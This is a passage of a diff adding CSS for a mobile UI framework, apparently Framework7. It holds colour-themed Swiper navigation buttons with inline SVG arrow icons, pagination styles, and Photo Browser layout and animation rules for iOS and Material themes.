url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-black .swiper-pagination-bullet-active, +.ios .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.ios .color-black .swiper-pagination-progressbar, +.ios .color-theme-black .swiper-pagination-progressbar, +.ios .color-black.swiper-pagination-progressbar, +.ios .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +.md .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.md .swiper-button-prev, +.md .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next, +.md .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-red, +.md .swiper-container-rtl .swiper-button-next.color-red, +.md .color-theme-red .swiper-button-prev, +.md .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-red, +.md .swiper-container-rtl .swiper-button-prev.color-red, +.md .color-theme-red .swiper-button-next, +.md .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23f44336'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-red .swiper-pagination-bullet-active, +.md .color-theme-red .swiper-pagination-bullet-active { + background: #f44336; +} +.md .color-red .swiper-pagination-progressbar, +.md .color-theme-red .swiper-pagination-progressbar, +.md .color-red.swiper-pagination-progressbar, +.md .color-theme-red.swiper-pagination-progressbar { + background: rgba(244, 67, 54, 0.25); +} +.md .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #f44336; +} +.md .swiper-button-prev.color-green, +.md .swiper-container-rtl .swiper-button-next.color-green, +.md .color-theme-green .swiper-button-prev, +.md .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-green, +.md .swiper-container-rtl .swiper-button-prev.color-green, +.md .color-theme-green .swiper-button-next, +.md .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-green .swiper-pagination-bullet-active, +.md .color-theme-green .swiper-pagination-bullet-active { + background: #4caf50; +} +.md .color-green .swiper-pagination-progressbar, +.md .color-theme-green .swiper-pagination-progressbar, +.md .color-green.swiper-pagination-progressbar, +.md .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 175, 80, 0.25); +} +.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4caf50; +} +.md .swiper-button-prev.color-blue, +.md .swiper-container-rtl .swiper-button-next.color-blue, +.md .color-theme-blue .swiper-button-prev, +.md .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-blue, +.md .swiper-container-rtl .swiper-button-prev.color-blue, +.md .color-theme-blue .swiper-button-next, +.md .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-blue .swiper-pagination-bullet-active, +.md .color-theme-blue .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .color-blue .swiper-pagination-progressbar, +.md .color-theme-blue .swiper-pagination-progressbar, +.md .color-blue.swiper-pagination-progressbar, +.md .color-theme-blue.swiper-pagination-progressbar { + background: rgba(33, 150, 243, 0.25); +} +.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-pink, +.md .swiper-container-rtl .swiper-button-next.color-pink, +.md .color-theme-pink .swiper-button-prev, +.md .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-pink, +.md .swiper-container-rtl .swiper-button-prev.color-pink, +.md .color-theme-pink .swiper-button-next, +.md .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-pink .swiper-pagination-bullet-active, +.md .color-theme-pink .swiper-pagination-bullet-active { + background: #e91e63; +} +.md .color-pink .swiper-pagination-progressbar, +.md .color-theme-pink .swiper-pagination-progressbar, +.md .color-pink.swiper-pagination-progressbar, +.md .color-theme-pink.swiper-pagination-progressbar { + background: rgba(233, 30, 99, 0.25); +} +.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #e91e63; +} +.md .swiper-button-prev.color-yellow, +.md .swiper-container-rtl .swiper-button-next.color-yellow, +.md .color-theme-yellow .swiper-button-prev, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-yellow, +.md .swiper-container-rtl .swiper-button-prev.color-yellow, +.md .color-theme-yellow .swiper-button-next, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-yellow .swiper-pagination-bullet-active, +.md .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffeb3b; +} +.md .color-yellow .swiper-pagination-progressbar, +.md .color-theme-yellow .swiper-pagination-progressbar, +.md .color-yellow.swiper-pagination-progressbar, +.md .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 235, 59, 0.25); +} +.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffeb3b; +} +.md .swiper-button-prev.color-orange, +.md .swiper-container-rtl .swiper-button-next.color-orange, +.md .color-theme-orange .swiper-button-prev, +.md .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-orange, +.md .swiper-container-rtl .swiper-button-prev.color-orange, +.md .color-theme-orange .swiper-button-next, +.md .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-orange .swiper-pagination-bullet-active, +.md .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9800; +} +.md .color-orange .swiper-pagination-progressbar, +.md .color-theme-orange .swiper-pagination-progressbar, +.md .color-orange.swiper-pagination-progressbar, +.md .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 152, 0, 0.25); +} +.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9800; +} +.md .swiper-button-prev.color-gray, +.md .swiper-container-rtl .swiper-button-next.color-gray, +.md .color-theme-gray .swiper-button-prev, +.md .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-gray, +.md .swiper-container-rtl .swiper-button-prev.color-gray, +.md .color-theme-gray .swiper-button-next, +.md .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-gray .swiper-pagination-bullet-active, +.md .color-theme-gray .swiper-pagination-bullet-active { + background: #9e9e9e; +} +.md .color-gray .swiper-pagination-progressbar, +.md .color-theme-gray .swiper-pagination-progressbar, +.md .color-gray.swiper-pagination-progressbar, +.md .color-theme-gray.swiper-pagination-progressbar { + background: rgba(158, 158, 158, 0.25); +} +.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #9e9e9e; +} +.md .swiper-button-prev.color-white, +.md .swiper-container-rtl .swiper-button-next.color-white, +.md .color-theme-white .swiper-button-prev, +.md .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-white, +.md .swiper-container-rtl .swiper-button-prev.color-white, +.md .color-theme-white .swiper-button-next, +.md .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-white .swiper-pagination-bullet-active, +.md .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.md .color-white .swiper-pagination-progressbar, +.md .color-theme-white .swiper-pagination-progressbar, +.md .color-white.swiper-pagination-progressbar, +.md .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.md .swiper-button-prev.color-black, +.md .swiper-container-rtl .swiper-button-next.color-black, +.md .color-theme-black .swiper-button-prev, +.md .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-black, +.md .swiper-container-rtl .swiper-button-prev.color-black, +.md .color-theme-black .swiper-button-next, +.md .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-black .swiper-pagination-bullet-active, +.md .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.md .color-black .swiper-pagination-progressbar, +.md .color-theme-black .swiper-pagination-progressbar, +.md .color-black.swiper-pagination-progressbar, +.md .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.ios .toolbar ~ .photo-browser-captions { + bottom: 44px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.ios .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 44px, 0); + transform: translate3d(0, 44px, 0); +} +.ios .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.ios .view.with-photo-browser-page-exposed .navbar { + opacity: 0; +} +.ios .photo-browser-page .navbar, +.ios .view.with-photo-browser-page .navbar, +.ios .photo-browser-page .toolbar, +.ios .view.with-photo-browser-page .toolbar { + background: rgba(247, 247, 248, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.ios .photo-browser-dark .navbar, +.ios .photo-browser-page-dark .navbar, +.ios .view.with-photo-browser-page-dark .navbar, +.ios .photo-browser-dark .toolbar, +.ios .photo-browser-page-dark .toolbar, +.ios .view.with-photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8); + color: #fff; +} +.ios .photo-browser-dark .navbar:before, +.ios .photo-browser-page-dark .navbar:before, +.ios .view.with-photo-browser-page-dark .navbar:before, +.ios .photo-browser-dark .toolbar:before, +.ios .photo-browser-page-dark .toolbar:before, +.ios .view.with-photo-browser-page-dark .toolbar:before { + display: none !important; +} +.ios .photo-browser-dark .navbar:after, +.ios .photo-browser-page-dark .navbar:after, +.ios .view.with-photo-browser-page-dark .navbar:after, +.ios .photo-browser-dark .toolbar:after, +.ios .photo-browser-page-dark .toolbar:after, +.ios .view.with-photo-browser-page-dark .toolbar:after { + display: none !important; +} +.ios .photo-browser-dark .navbar a, +.ios .photo-browser-page-dark .navbar a, +.ios .view.with-photo-browser-page-dark .navbar a, +.ios .photo-browser-dark .toolbar a, +.ios .photo-browser-page-dark .toolbar a, +.ios .view.with-photo-browser-page-dark .toolbar a { + color: #fff; +} +.ios.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(44px + constant(safe-area-inset-bottom)); + bottom: calc(44px + env(safe-area-inset-bottom)); +} +.md .toolbar ~ .photo-browser-captions { + bottom: 48px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 48px, 0); + transform: translate3d(0, 48px, 0); +} +.md .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.md .photo-browser-page .navbar, +.md .photo-browser-page .toolbar { + background: rgba(33, 150, 243, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.md .photo-browser-dark .navbar, +.md .photo-browser-page-dark .navbar, +.md .photo-browser-dark .toolbar, +.md .photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8) !important; + color: #fff; +} +.md .photo-browser-dark .navbar a, +.md .photo-browser-page-dark .navbar a, +.md .photo-browser-dark .toolbar a, +.md .photo-browser-page-dark .toolbar a { + color: #fff; +} +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(244, 67, 54, 0.95); +} +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(76, 175, 80, 0.95); +} +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-blue 